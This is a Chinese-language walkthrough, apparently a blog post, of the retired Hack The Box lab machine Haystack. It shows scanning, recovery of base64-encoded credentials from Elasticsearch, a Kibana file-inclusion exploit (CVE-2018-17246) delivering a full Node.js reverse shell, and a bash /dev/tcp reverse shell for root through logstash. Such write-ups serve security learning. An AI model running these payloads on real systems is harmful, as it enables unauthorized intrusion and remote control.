• HTB-靶机-Haystack


    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.115

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令 autorecon 10.10.10.115 -o ./Haystack-autorecon

    快速扫描
    ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.115 | grep ^[0-9] | cut -d '/' -f 1 | tr '
    ' ',' | sed s/,$//)
    nmap -sC -sV -p$ports 10.10.10.115

    扫描结果开放了3个端口,22,80,9200 直接访问web应用

    将此图片下载下来使用strings命令查看一串有价值的base64编码

    bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== 

    解码之后是西班牙语言,翻译成英语

    显示clave是关键字,阅读elasticsearch的相关文档手动可以他通过以下方式获取重要信息

    elasticsearch
    http://10.10.10.115:9200/_cat/indices?v
    http://10.10.10.115:9200/quotes/_search
    http://10.10.10.115:9200/quotes/_search?size=253
    
    curl -s 'http://10.10.10.115:9200/quotes/_search?size=253' | jq '.hits.hits | .[] | ._source.quote' > quotes

    将得到的信息通过关键字过滤得到经过base64编码的账号和密码

    端口转发
    ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N
    kali@kali:~/Downloads/htb/haystack$ cat quotes | grep clave
    "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
    "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "

    解码之后的结果如下:

    cGFzczogc3BhbmlzaC5pcy5rZXk=
    pass: spanish.is.key
    
    dXNlcjogc2VjdXJpdHkg
    user: security 

    使用此账号密码ssh连接过去获取了user.txt

    ssh登录上去,查看网络连接,执行如下命令:
    ss -4 -l -n
    发现了目标靶机开放了5601端口,需要使用ssh进行端口转发

    通过端口转发的形式将目标开放的5601端口转发到本地kali

    访问获取了目标kibana版本信息,得知存在文件包含漏洞 

    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17246

    https://www.cyberark.com/resources/threat-research-blog/execute-this-i-know-you-have-it

    确认了exploit代码,将其放在/tmp/a.js文件下然后进行文件包含执行代码反弹shell

    (function(){
        var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
        var client = new net.Socket();
        client.connect(8833, "10.10.14.3", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
        });
        return /a/; // Prevents the Node.js application form crashing
    })();

    监听好本地反弹shell端口执行:curl 'http://localhost:5601/api/console/api_server?apis=../../../../../../../../../tmp/bmfx.js' 触发反弹shell

    拿到shell之后执行如下命令获知kibana有一个进程是以root权限的计划任务

    find / -user kibana 2>/dev/null |grep -v usr | grep -v proc
    find / -group kibana 2>/dev/null |grep -v usr | grep -v proc

    其中得到下面三个文件

    cat /etc/logstash/conf.d/output.conf
    cat /etc/logstash/conf.d/input.conf
    cat /etc/logstash/conf.d/filter.conf

    根据语法正则表达式可以通过下面的形式执行命令反弹shell

    echo 'Ejecutar comando: bash -i >& /dev/tcp/10.10.14.3/8844 0>&1' > /opt/kibana/logstash_exec

    稍等片刻即可反弹shell成功拿到root权限,得到root.txt

  • 相关阅读:
    yield* 表达式
    Set 对象和WeakSet对象
    洗牌算法
    filter() 方法创建一个新数组
    UTF8文件带BOM引起的问题
    ios的白屏坑
    css的字体样式怎么写
    npm全局安装失效修复
    nginx: [emerg] bind() to 0.0.0.0:80 failed (98: Address already in use)解决方案
    linux下nginx的安装及配置
  • 原文地址:https://www.cnblogs.com/autopwn/p/14281998.html
Copyright © 2020-2023  润新知